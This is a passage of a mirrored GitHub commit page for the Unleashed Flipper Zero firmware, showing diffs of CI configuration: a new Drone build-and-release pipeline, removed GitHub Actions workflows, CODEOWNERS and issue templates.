mirror of
https://github.com/DarkFlippers/unleashed-firmware
synced 2024-11-15 17:18:01 +00:00
Merge branch 'dev' into dev
This commit is contained in:
commit
8e172df48c
266 changed files with 19622 additions and 2600 deletions
144
.drone.yml
Normal file
144
.drone.yml
Normal file
|
@ -0,0 +1,144 @@
|
|||
kind: pipeline
|
||||
type: docker
|
||||
name: "Build firmware"
|
||||
|
||||
steps:
|
||||
- name: "Update submodules"
|
||||
image: alpine/git
|
||||
commands:
|
||||
- git submodule sync
|
||||
- git -c protocol.version=2 submodule update --init --force --recursive
|
||||
- git submodule foreach git config --local gc.auto 0
|
||||
- git log -1 --format='%H'
|
||||
|
||||
- name: "Build default fw"
|
||||
image: hfdj/fztools
|
||||
pull: never
|
||||
commands:
|
||||
- export DIST_SUFFIX=${DRONE_TAG}
|
||||
- export WORKFLOW_BRANCH_OR_TAG=dev-cfw
|
||||
- ./fbt COMPACT=1 DEBUG=0 updater_package
|
||||
- mkdir artifacts-default
|
||||
- mv dist/f7-C/* artifacts-default/
|
||||
- ls -laS artifacts-default
|
||||
- ls -laS artifacts-default/f7-update-${DRONE_TAG}
|
||||
- sed -i 's/(version)/'${DRONE_TAG}'/g' CHANGELOG.md
|
||||
- echo '# [Install via Web Updater](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=dev-cfw&version='${DRONE_TAG}')' >> CHANGELOG.md
|
||||
environment:
|
||||
FBT_TOOLS_CUSTOM_LINK:
|
||||
from_secret: fbt_link
|
||||
|
||||
- name: "Bundle resources"
|
||||
image: kramos/alpine-zip
|
||||
commands:
|
||||
- mkdir sd-card
|
||||
- mkdir -p sd-card/subghz/assets
|
||||
- mkdir -p sd-card/nfc/assets
|
||||
- mkdir -p sd-card/infrared/assets
|
||||
- mkdir -p sd-card/unirf
|
||||
- mkdir -p sd-card/badusb/layouts
|
||||
- cp assets/resources/badusb/layouts/* sd-card/badusb/layouts/
|
||||
- cp assets/resources/subghz/assets/dangerous_settings sd-card/subghz/assets/dangerous_settings
|
||||
- cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user
|
||||
- cp assets/resources/subghz/assets/keeloq_mfcodes sd-card/subghz/assets/keeloq_mfcodes
|
||||
- cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc
|
||||
- cp assets/resources/infrared/assets/tv.ir sd-card/infrared/assets/tv.ir
|
||||
- cp assets/resources/infrared/assets/ac.ir sd-card/infrared/assets/ac.ir
|
||||
- cp assets/resources/infrared/assets/audio.ir sd-card/infrared/assets/audio.ir
|
||||
- cp assets/resources/unirf/unirf_map_example.txt sd-card/unirf/unirf_map_example.txt
|
||||
- cp assets/resources/Manifest sd-card/Manifest
|
||||
- zip -r artifacts-default/sd-card-${DRONE_TAG}.zip sd-card
|
||||
- rm -rf sd-card
|
||||
- ls -laS artifacts-default
|
||||
|
||||
- name: "Bundle self-update packages"
|
||||
image: kramos/alpine-zip
|
||||
commands:
|
||||
- tar czpf artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz -C artifacts-default f7-update-${DRONE_TAG}
|
||||
- cp artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz .
|
||||
- zip -r artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip artifacts-default/f7-update-${DRONE_TAG}
|
||||
- rm -rf artifacts-default/f7-update-${DRONE_TAG}
|
||||
- ls -laS artifacts-default
|
||||
|
||||
- name: "Upload to updates server"
|
||||
image: appleboy/drone-scp
|
||||
settings:
|
||||
host:
|
||||
from_secret: dep_host
|
||||
username:
|
||||
from_secret: dep_user
|
||||
password:
|
||||
from_secret: dep_passwd
|
||||
port:
|
||||
from_secret: dep_port
|
||||
target:
|
||||
from_secret: dep_target
|
||||
source: flipper-z-f7-update-${DRONE_TAG}.tgz
|
||||
|
||||
- name: "Do Github release"
|
||||
image: ddplugins/github-release
|
||||
pull: never
|
||||
settings:
|
||||
github_url: https://github.com
|
||||
repo_owner:
|
||||
from_secret: github_repoowner
|
||||
api_key:
|
||||
from_secret: github_apikey
|
||||
files:
|
||||
- artifacts-default/*.tgz
|
||||
- artifacts-default/*.zip
|
||||
- artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu
|
||||
title: ${DRONE_TAG}
|
||||
note: CHANGELOG.md
|
||||
checksum:
|
||||
- md5
|
||||
- sha1
|
||||
- crc32
|
||||
|
||||
- name: "Send files to telegram"
|
||||
image: appleboy/drone-telegram
|
||||
settings:
|
||||
token:
|
||||
from_secret: tgtoken
|
||||
to:
|
||||
from_secret: tgid
|
||||
format: markdown
|
||||
message: "New Unleashed firmware released!
|
||||
|
||||
|
||||
Version: {{build.tag}}
|
||||
|
||||
|
||||
[-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG})
|
||||
|
||||
|
||||
[-Install via Web Updater-](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-${DRONE_TAG}.tgz&channel=dev-cfw&version=${DRONE_TAG})"
|
||||
document:
|
||||
- artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu
|
||||
- artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip
|
||||
- artifacts-default/sd-card-${DRONE_TAG}.zip
|
||||
|
||||
- name: "Send discord notification"
|
||||
image: appleboy/drone-discord
|
||||
settings:
|
||||
webhook_id:
|
||||
from_secret: ds_wh_id
|
||||
webhook_token:
|
||||
from_secret: ds_wh_token
|
||||
message: "New Unleashed firmware released!
|
||||
|
||||
|
||||
Version: {{build.tag}}
|
||||
|
||||
|
||||
[[Github]](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG})
|
||||
|
||||
|
||||
[-Install via Web Updater-](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-${DRONE_TAG}.tgz&channel=dev-cfw&version=${DRONE_TAG})"
|
||||
|
||||
trigger:
|
||||
event:
|
||||
- tag
|
||||
|
||||
node:
|
||||
typ: haupt
|
91
.github/CODEOWNERS
vendored
91
.github/CODEOWNERS
vendored
|
@ -1,91 +0,0 @@
|
|||
# Who owns all the fish by default
|
||||
* @skotopes @DrZlo13 @hedger
|
||||
|
||||
# Apps
|
||||
/applications/about/ @skotopes @DrZlo13 @hedger
|
||||
/applications/accessor/ @skotopes @DrZlo13 @hedger
|
||||
/applications/archive/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/applications/bad_usb/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/applications/bt/ @skotopes @DrZlo13 @hedger @gornekich
|
||||
/applications/cli/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/applications/crypto/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/applications/debug_tools/ @skotopes @DrZlo13 @hedger
|
||||
/applications/desktop/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/applications/dialogs/ @skotopes @DrZlo13 @hedger
|
||||
/applications/dolphin/ @skotopes @DrZlo13 @hedger
|
||||
/applications/gpio/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/applications/gui/ @skotopes @DrZlo13 @hedger
|
||||
/applications/ibutton/ @skotopes @DrZlo13 @hedger @gsurkov
|
||||
/applications/infrared/ @skotopes @DrZlo13 @hedger @gsurkov
|
||||
/applications/infrared_monitor/ @skotopes @DrZlo13 @hedger @gsurkov
|
||||
/applications/input/ @skotopes @DrZlo13 @hedger
|
||||
/applications/lfrfid/ @skotopes @DrZlo13 @hedger
|
||||
/applications/lfrfid_debug/ @skotopes @DrZlo13 @hedger
|
||||
/applications/loader/ @skotopes @DrZlo13 @hedger
|
||||
/applications/music_player/ @skotopes @DrZlo13 @hedger
|
||||
/applications/nfc/ @skotopes @DrZlo13 @hedger @gornekich
|
||||
/applications/notification/ @skotopes @DrZlo13 @hedger
|
||||
/applications/power/ @skotopes @DrZlo13 @hedger
|
||||
/applications/rpc/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/applications/snake_game/ @skotopes @DrZlo13 @hedger
|
||||
/applications/storage/ @skotopes @DrZlo13 @hedger
|
||||
/applications/storage_settings/ @skotopes @DrZlo13 @hedger
|
||||
/applications/subghz/ @skotopes @DrZlo13 @hedger @Skorpionm
|
||||
/applications/system/ @skotopes @DrZlo13 @hedger
|
||||
/applications/u2f/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/applications/unit_tests/ @skotopes @DrZlo13 @hedger
|
||||
/applications/updater/ @skotopes @DrZlo13 @hedger
|
||||
|
||||
# Assets
|
||||
/assets/ @skotopes @DrZlo13 @hedger
|
||||
|
||||
# Furi Core
|
||||
/furi/ @skotopes @DrZlo13 @hedger
|
||||
|
||||
# Debug tools and plugins
|
||||
/debug/ @skotopes @DrZlo13 @hedger
|
||||
|
||||
# Docker
|
||||
/docker/ @skotopes @DrZlo13 @hedger @aprosvetova
|
||||
/docker-compose.yml @skotopes @DrZlo13 @hedger @aprosvetova
|
||||
|
||||
# Documentation
|
||||
/documentation/ @skotopes @DrZlo13 @hedger @aprosvetova
|
||||
|
||||
# Firmware targets
|
||||
/firmware/ @skotopes @DrZlo13 @hedger
|
||||
|
||||
# Lib
|
||||
/lib/FreeRTOS-Kernel/ @skotopes @DrZlo13 @hedger
|
||||
/lib/FreeRTOS-glue/ @skotopes @DrZlo13 @hedger
|
||||
/lib/ST25RFAL002/ @skotopes @DrZlo13 @hedger @gornekich
|
||||
/lib/STM32CubeWB/ @skotopes @DrZlo13 @hedger @gornekich
|
||||
/lib/app-scened-template/ @skotopes @DrZlo13 @hedger
|
||||
/lib/callback-connector/ @skotopes @DrZlo13 @hedger
|
||||
/lib/digital_signal/ @skotopes @DrZlo13 @hedger @gornekich
|
||||
/lib/drivers/ @skotopes @DrZlo13 @hedger
|
||||
/lib/fatfs/ @skotopes @DrZlo13 @hedger
|
||||
/lib/flipper_format/ @skotopes @DrZlo13 @hedger
|
||||
/lib/fnv1a-hash/ @skotopes @DrZlo13 @hedger
|
||||
/lib/heatshrink/ @skotopes @DrZlo13 @hedger
|
||||
/lib/infrared/ @skotopes @DrZlo13 @hedger @gsurkov
|
||||
/lib/libusb_stm32/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/lib/littlefs/ @skotopes @DrZlo13 @hedger
|
||||
/lib/lfs_config.h @skotopes @DrZlo13 @hedger
|
||||
/lib/micro-ecc/ @skotopes @DrZlo13 @hedger @nminaylov
|
||||
/lib/microtar/ @skotopes @DrZlo13 @hedger
|
||||
/lib/mlib/ @skotopes @DrZlo13 @hedger
|
||||
/lib/nanopb/ @skotopes @DrZlo13 @hedger
|
||||
/lib/nfc/ @skotopes @DrZlo13 @hedger @gornekich
|
||||
/lib/one_wire/ @skotopes @DrZlo13 @hedger
|
||||
/lib/qrcode/ @skotopes @DrZlo13 @hedger
|
||||
/lib/subghz/ @skotopes @DrZlo13 @hedger @Skorpionm
|
||||
/lib/toolbox/ @skotopes @DrZlo13 @hedger
|
||||
/lib/u8g2/ @skotopes @DrZlo13 @hedger
|
||||
/lib/update_util/ @skotopes @DrZlo13 @hedger
|
||||
|
||||
# Make tools
|
||||
/make/ @skotopes @DrZlo13 @hedger @aprosvetova
|
||||
|
||||
# Helper scripts
|
||||
/scripts/ @skotopes @DrZlo13 @hedger
|
17
.github/ISSUE_TEMPLATE/01_bug_report.yml
vendored
17
.github/ISSUE_TEMPLATE/01_bug_report.yml
vendored
|
@ -1,20 +1,19 @@
|
|||
name: Bug report
|
||||
description: File a bug reports regarding the firmware.
|
||||
labels: ['bug']
|
||||
labels: ["bug"]
|
||||
body:
|
||||
- type: markdown
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero firmware.
|
||||
If you require help with the Flipper zero and its firmware, we ask that you join [our forum](https://forum.flipperzero.one)
|
||||
- type: textarea
|
||||
Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero unleashed firmware.
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: Describe the bug.
|
||||
description: "A clear and concise description of what the bug is."
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
- type: textarea
|
||||
id: repro
|
||||
attributes:
|
||||
label: Reproduction
|
||||
|
@ -26,20 +25,20 @@ body:
|
|||
4. It burns
|
||||
validations:
|
||||
required: true
|
||||
- type: input
|
||||
- type: input
|
||||
id: target
|
||||
attributes:
|
||||
label: Target
|
||||
description: Specify the target
|
||||
# Target seems to be largely ignored by outside sources.
|
||||
- type: textarea
|
||||
- type: textarea
|
||||
id: logs
|
||||
attributes:
|
||||
label: Logs
|
||||
description: Attach your debug logs here
|
||||
render: Text
|
||||
# Avoid rendering as Markdown here.
|
||||
- type: textarea
|
||||
- type: textarea
|
||||
id: anything-else
|
||||
attributes:
|
||||
label: Anything else?
|
||||
|
|
7
.github/ISSUE_TEMPLATE/02_enhancements.yml
vendored
7
.github/ISSUE_TEMPLATE/02_enhancements.yml
vendored
|
@ -1,12 +1,11 @@
|
|||
name: Enhancements
|
||||
description: Suggest improvements for any existing functionality within the firmware.
|
||||
body:
|
||||
- type: markdown
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thank you for taking the time to fill out an issue. This template is meant for feature requests and improvements to already existing functionality.
|
||||
If you require help with the Flipper zero and its firmware, we ask that you join [our forum](https://forum.flipperzero.one)
|
||||
- type: textarea
|
||||
- type: textarea
|
||||
id: proposal
|
||||
attributes:
|
||||
label: "Describe the enhancement you're suggesting."
|
||||
|
@ -14,7 +13,7 @@ body:
|
|||
Feel free to describe in as much detail as you wish.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
- type: textarea
|
||||
id: anything-else
|
||||
attributes:
|
||||
label: Anything else?
|
||||
|
|
|
@ -1,13 +1,12 @@
|
|||
name: Feature Request
|
||||
description: For feature requests regarding the firmware.
|
||||
labels: ['feature request']
|
||||
labels: ["feature request"]
|
||||
body:
|
||||
- type: markdown
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thank you for taking the time to fill out an issue, this template is meant for any feature suggestions.
|
||||
If you require help with the Flipper zero and its firmware, we ask that you join [our forum](https://forum.flipperzero.one)
|
||||
- type: textarea
|
||||
- type: textarea
|
||||
id: proposal
|
||||
attributes:
|
||||
label: "Description of the feature you're suggesting."
|
||||
|
@ -17,7 +16,7 @@ body:
|
|||
- Note whetever it is to extend existing functionality or introduce new functionality.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
- type: textarea
|
||||
id: anything-else
|
||||
attributes:
|
||||
label: Anything else?
|
||||
|
|
9
.github/ISSUE_TEMPLATE/config.yml
vendored
9
.github/ISSUE_TEMPLATE/config.yml
vendored
|
@ -1,5 +1,8 @@
|
|||
blank_issues_enabled: true
|
||||
contact_links:
|
||||
- name: Need help?
|
||||
url: https://forum.flipperzero.one
|
||||
about: For any question regarding on how to use the Flipper Zero and its firmware.
|
||||
- name: Telegram
|
||||
url: https://t.me/flipperzero_unofficial
|
||||
about: Unofficial Telegram chat
|
||||
- name: Discord
|
||||
url: https://discord.gg/58D6E8BtTU
|
||||
about: Unofficial Discord Community
|
||||
|
|
11
.github/actions/docker/action.yml
vendored
11
.github/actions/docker/action.yml
vendored
|
@ -1,11 +0,0 @@
|
|||
name: 'Run in docker'
|
||||
inputs:
|
||||
run: # id of input
|
||||
description: 'A command to run'
|
||||
required: true
|
||||
default: ''
|
||||
runs:
|
||||
using: 'docker'
|
||||
image: '../../../docker/Dockerfile'
|
||||
args:
|
||||
- ${{ inputs.run }}
|
BIN
.github/assets/Born2bSportyV2.ttf
vendored
BIN
.github/assets/Born2bSportyV2.ttf
vendored
Binary file not shown.
BIN
.github/assets/latest-firmware-template.png
vendored
BIN
.github/assets/latest-firmware-template.png
vendored
Binary file not shown.
Before Width: | Height: | Size: 19 KiB |
2
.github/pull_request_template.md
vendored
2
.github/pull_request_template.md
vendored
|
@ -8,6 +8,6 @@
|
|||
|
||||
# Checklist (For Reviewer)
|
||||
|
||||
- [ ] PR has description of feature/bug or link to Confluence/Jira task
|
||||
- [ ] PR has description of feature/bug
|
||||
- [ ] Description contains actions to verify feature/bugfix
|
||||
- [ ] I've built this code, uploaded it to the device and verified feature/bugfix
|
||||
|
|
191
.github/workflows/build.yml
vendored
191
.github/workflows/build.yml
vendored
|
@ -1,191 +0,0 @@
|
|||
name: 'Build'
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
- "release*"
|
||||
tags:
|
||||
- '*'
|
||||
pull_request:
|
||||
|
||||
env:
|
||||
TARGETS: f7
|
||||
DEFAULT_TARGET: f7
|
||||
|
||||
jobs:
|
||||
main:
|
||||
runs-on: [self-hosted,FlipperZeroShell]
|
||||
steps:
|
||||
- name: 'Decontaminate previous build leftovers'
|
||||
run: |
|
||||
if [ -d .git ]
|
||||
then
|
||||
git submodule status \
|
||||
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
|
||||
fi
|
||||
|
||||
- name: 'Checkout code'
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
ref: ${{ github.event.pull_request.head.sha }}
|
||||
|
||||
- name: 'Make artifacts directory'
|
||||
run: |
|
||||
test -d artifacts && rm -rf artifacts || true
|
||||
mkdir artifacts
|
||||
|
||||
- name: 'Generate suffix and folder name'
|
||||
id: names
|
||||
run: |
|
||||
REF=${{ github.ref }}
|
||||
if [[ ${{ github.event_name }} == 'pull_request' ]]; then
|
||||
REF=${{ github.head_ref }}
|
||||
fi
|
||||
BRANCH_OR_TAG=${REF#refs/*/}
|
||||
SHA=$(git rev-parse --short HEAD)
|
||||
|
||||
if [[ "${{ github.ref }}" == "refs/tags/"* ]]; then
|
||||
SUFFIX=${BRANCH_OR_TAG//\//_}
|
||||
else
|
||||
SUFFIX=${BRANCH_OR_TAG//\//_}-$(date +'%d%m%Y')-${SHA}
|
||||
fi
|
||||
|
||||
echo "WORKFLOW_BRANCH_OR_TAG=${BRANCH_OR_TAG}" >> $GITHUB_ENV
|
||||
echo "DIST_SUFFIX=${SUFFIX}" >> $GITHUB_ENV
|
||||
echo "::set-output name=artifacts-path::${BRANCH_OR_TAG}"
|
||||
echo "::set-output name=suffix::${SUFFIX}"
|
||||
echo "::set-output name=short-hash::${SHA}"
|
||||
echo "::set-output name=default-target::${DEFAULT_TARGET}"
|
||||
|
||||
- name: 'Bundle scripts'
|
||||
if: ${{ !github.event.pull_request.head.repo.fork }}
|
||||
run: |
|
||||
tar czpf artifacts/flipper-z-any-scripts-${{steps.names.outputs.suffix}}.tgz scripts
|
||||
|
||||
- name: 'Build the firmware'
|
||||
run: |
|
||||
set -e
|
||||
for TARGET in ${TARGETS}
|
||||
do
|
||||
FBT_TOOLCHAIN_PATH=/opt ./fbt TARGET_HW=`echo ${TARGET} | sed 's/f//'` updater_package ${{ startsWith(github.ref, 'refs/tags') && 'DEBUG=0 COMPACT=1' || '' }}
|
||||
done
|
||||
|
||||
- name: 'Move upload files'
|
||||
if: ${{ !github.event.pull_request.head.repo.fork }}
|
||||
run: |
|
||||
set -e
|
||||
for TARGET in ${TARGETS}
|
||||
do
|
||||
mv dist/${TARGET}-*/* artifacts/
|
||||
done
|
||||
|
||||
- name: 'Bundle self-update package'
|
||||
if: ${{ !github.event.pull_request.head.repo.fork }}
|
||||
run: |
|
||||
set -e
|
||||
for UPDATEBUNDLE in artifacts/*/
|
||||
do
|
||||
BUNDLE_NAME=`echo $UPDATEBUNDLE | cut -d'/' -f2`
|
||||
echo Packaging ${BUNDLE_NAME}
|
||||
tar czpf artifacts/flipper-z-${BUNDLE_NAME}.tgz -C artifacts ${BUNDLE_NAME}
|
||||
rm -rf artifacts/${BUNDLE_NAME}
|
||||
done
|
||||
|
||||
- name: "Check for uncommited changes"
|
||||
run: |
|
||||
git diff --exit-code
|
||||
|
||||
- name: 'Bundle resources'
|
||||
if: ${{ !github.event.pull_request.head.repo.fork }}
|
||||
run: |
|
||||
tar czpf artifacts/flipper-z-any-resources-${{steps.names.outputs.suffix}}.tgz -C assets resources
|
||||
|
||||
- name: 'Bundle core2 firmware'
|
||||
if: ${{ !github.event.pull_request.head.repo.fork }}
|
||||
run: |
|
||||
FBT_TOOLCHAIN_PATH=/opt ./fbt copro_dist
|
||||
tar czpf artifacts/flipper-z-any-core2_firmware-${{steps.names.outputs.suffix}}.tgz -C assets core2_firmware
|
||||
|
||||
- name: 'Upload artifacts to update server'
|
||||
if: ${{ !github.event.pull_request.head.repo.fork }}
|
||||
run: |
|
||||
echo "${{ secrets.RSYNC_DEPLOY_KEY }}" > deploy_key;
|
||||
chmod 600 ./deploy_key;
|
||||
rsync -avzP --delete --mkpath \
|
||||
-e 'ssh -p ${{ secrets.RSYNC_DEPLOY_PORT }} -i ./deploy_key' \
|
||||
artifacts/ ${{ secrets.RSYNC_DEPLOY_USER }}@${{ secrets.RSYNC_DEPLOY_HOST }}:"${{ secrets.RSYNC_DEPLOY_BASE_PATH }}${{steps.names.outputs.artifacts-path}}/";
|
||||
rm ./deploy_key;
|
||||
|
||||
- name: 'Trigger update server reindex'
|
||||
if: ${{ !github.event.pull_request.head.repo.fork }}
|
||||
run: curl -X POST -F 'key=${{ secrets.REINDEX_KEY }}' ${{ secrets.REINDEX_URL }}
|
||||
|
||||
- name: 'Find Previous Comment'
|
||||
if: ${{ !github.event.pull_request.head.repo.fork && github.event.pull_request }}
|
||||
uses: peter-evans/find-comment@v1
|
||||
id: fc
|
||||
with:
|
||||
issue-number: ${{ github.event.pull_request.number }}
|
||||
comment-author: 'github-actions[bot]'
|
||||
body-includes: 'Compiled firmware for commit'
|
||||
|
||||
- name: 'Create or update comment'
|
||||
if: ${{ !github.event.pull_request.head.repo.fork && github.event.pull_request}}
|
||||
uses: peter-evans/create-or-update-comment@v1
|
||||
with:
|
||||
comment-id: ${{ steps.fc.outputs.comment-id }}
|
||||
issue-number: ${{ github.event.pull_request.number }}
|
||||
body: |
|
||||
**Compiled firmware for commit `${{steps.names.outputs.short-hash}}`:**
|
||||
- [📦 Update package](https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.artifacts-path}}/flipper-z-${{steps.names.outputs.default-target}}-update-${{steps.names.outputs.suffix}}.tgz)
|
||||
- [📥 DFU file](https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.artifacts-path}}/flipper-z-${{steps.names.outputs.default-target}}-full-${{steps.names.outputs.suffix}}.dfu)
|
||||
- [☁️ Web updater](https://my.flipp.dev/?url=https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.artifacts-path}}/flipper-z-${{steps.names.outputs.default-target}}-update-${{steps.names.outputs.suffix}}.tgz&channel=${{steps.names.outputs.artifacts-path}}&version=${{steps.names.outputs.short-hash}})
|
||||
edit-mode: replace
|
||||
|
||||
compact:
|
||||
if: ${{ !startsWith(github.ref, 'refs/tags') }}
|
||||
runs-on: [self-hosted,FlipperZeroShell]
|
||||
steps:
|
||||
- name: 'Decontaminate previous build leftovers'
|
||||
run: |
|
||||
if [ -d .git ]
|
||||
then
|
||||
git submodule status \
|
||||
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
|
||||
fi
|
||||
|
||||
- name: 'Checkout code'
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
submodules: true
|
||||
ref: ${{ github.event.pull_request.head.sha }}
|
||||
|
||||
- name: 'Generate suffix and folder name'
|
||||
id: names
|
||||
run: |
|
||||
REF=${{ github.ref }}
|
||||
if [[ ${{ github.event_name }} == 'pull_request' ]]; then
|
||||
REF=${{ github.head_ref }}
|
||||
fi
|
||||
BRANCH_OR_TAG=${REF#refs/*/}
|
||||
SHA=$(git rev-parse --short HEAD)
|
||||
|
||||
if [[ "${{ github.ref }}" == "refs/tags/"* ]]; then
|
||||
SUFFIX=${BRANCH_OR_TAG//\//_}
|
||||
else
|
||||
SUFFIX=${BRANCH_OR_TAG//\//_}-$(date +'%d%m%Y')-${SHA}
|
||||
fi
|
||||
|
||||
echo "WORKFLOW_BRANCH_OR_TAG=${BRANCH_OR_TAG}" >> $GITHUB_ENV
|
||||
echo "DIST_SUFFIX=${SUFFIX}" >> $GITHUB_ENV
|
||||
|
||||
- name: 'Build the firmware'
|
||||
run: |
|
||||
set -e
|
||||
for TARGET in ${TARGETS}
|
||||
do
|
||||
FBT_TOOLCHAIN_PATH=/opt ./fbt TARGET_HW=`echo ${TARGET} | sed 's/f//'` updater_package DEBUG=0 COMPACT=1
|
||||
done
|
47
.github/workflows/check_submodules.yml
vendored
47
.github/workflows/check_submodules.yml
vendored
|
@ -1,47 +0,0 @@
|
|||
name: 'Check submodules branch'
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
- "release*"
|
||||
tags:
|
||||
- '*'
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
check_protobuf:
|
||||
runs-on: [self-hosted, FlipperZeroShell]
|
||||
steps:
|
||||
- name: 'Decontaminate previous build leftovers'
|
||||
run: |
|
||||
if [ -d .git ]
|
||||
then
|
||||
git submodule status \
|
||||
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
|
||||
fi
|
||||
|
||||
- name: 'Checkout code'
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: 'Check protobuf branch'
|
||||
run: |
|
||||
SUB_PATH="assets/protobuf";
|
||||
SUB_BRANCH="dev";
|
||||
SUB_COMMITS_MIN=40;
|
||||
cd "$SUB_PATH";
|
||||
SUBMODULE_HASH="$(git rev-parse HEAD)";
|
||||
BRANCHES=$(git branch -r --contains "$SUBMODULE_HASH");
|
||||
COMMITS_IN_BRANCH="$(git rev-list --count dev)";
|
||||
if [ $COMMITS_IN_BRANCH -lt $SUB_COMMITS_MIN ]; then
|
||||
echo "::set-output name=fails::error";
|
||||
echo "::error::Error: Too low commits in $SUB_BRANCH of submodule $SUB_PATH: $COMMITS_IN_BRANCH(expected $SUB_COMMITS_MIN+)";
|
||||
exit 1;
|
||||
fi
|
||||
if ! grep -q "/$SUB_BRANCH" <<< "$BRANCHES"; then
|
||||
echo "::set-output name=fails::error";
|
||||
echo "::error::Error: Submodule $SUB_PATH is not on branch $SUB_BRANCH";
|
||||
exit 1;
|
||||
fi
|
46
.github/workflows/lint_c.yml
vendored
46
.github/workflows/lint_c.yml
vendored
|
@ -1,46 +0,0 @@
|
|||
name: 'Lint C/C++ with clang-format'
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
- "release*"
|
||||
tags:
|
||||
- '*'
|
||||
pull_request:
|
||||
|
||||
env:
|
||||
TARGETS: f7
|
||||
|
||||
jobs:
|
||||
lint_c_cpp:
|
||||
runs-on: [self-hosted,FlipperZeroShell]
|
||||
steps:
|
||||
- name: 'Decontaminate previous build leftovers'
|
||||
run: |
|
||||
if [ -d .git ]
|
||||
then
|
||||
git submodule status \
|
||||
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
|
||||
fi
|
||||
|
||||
- name: 'Checkout code'
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: 'Check code formatting'
|
||||
id: syntax_check
|
||||
run: SET_GH_OUTPUT=1 FBT_TOOLCHAIN_PATH=/opt ./fbt lint
|
||||
|
||||
- name: Report code formatting errors
|
||||
if: failure() && steps.syntax_check.outputs.errors && github.event.pull_request
|
||||
uses: peter-evans/create-or-update-comment@v1
|
||||
with:
|
||||
issue-number: ${{ github.event.pull_request.number }}
|
||||
body: |
|
||||
Please fix following code formatting errors:
|
||||
```
|
||||
${{ steps.syntax_check.outputs.errors }}
|
||||
```
|
||||
You might want to run `./fbt format` for an auto-fix.
|
30
.github/workflows/lint_python.yml
vendored
30
.github/workflows/lint_python.yml
vendored
|
@ -1,30 +0,0 @@
|
|||
name: 'Python Lint'
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
- "release*"
|
||||
tags:
|
||||
- '*'
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
lint_python:
|
||||
runs-on: [self-hosted,FlipperZeroShell]
|
||||
steps:
|
||||
- name: 'Decontaminate previous build leftovers'
|
||||
run: |
|
||||
if [ -d .git ]
|
||||
then
|
||||
git submodule status \
|
||||
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
|
||||
fi
|
||||
|
||||
- name: 'Checkout code'
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: 'Check code formatting'
|
||||
run: SET_GH_OUTPUT=1 FBT_TOOLCHAIN_PATH=/opt ./fbt lint_py
|
14
.github/workflows/reindex.yml
vendored
14
.github/workflows/reindex.yml
vendored
|
@ -1,14 +0,0 @@
|
|||
name: 'Reindex'
|
||||
|
||||
on:
|
||||
release:
|
||||
types: [prereleased,released]
|
||||
|
||||
jobs:
|
||||
reindex:
|
||||
name: 'Reindex updates'
|
||||
runs-on: [self-hosted,FlipperZeroShell]
|
||||
steps:
|
||||
- name: Trigger reindex
|
||||
run: |
|
||||
curl -X POST -F 'key=${{ secrets.REINDEX_KEY }}' ${{ secrets.REINDEX_URL }}
|
1
.gitignore
vendored
1
.gitignore
vendored
|
@ -39,6 +39,7 @@ dist
|
|||
|
||||
# kde
|
||||
.directory
|
||||
null.d
|
||||
|
||||
# SCons
|
||||
.sconsign.dblite
|
||||
|
|
3
Brewfile
3
Brewfile
|
@ -1,6 +1,7 @@
|
|||
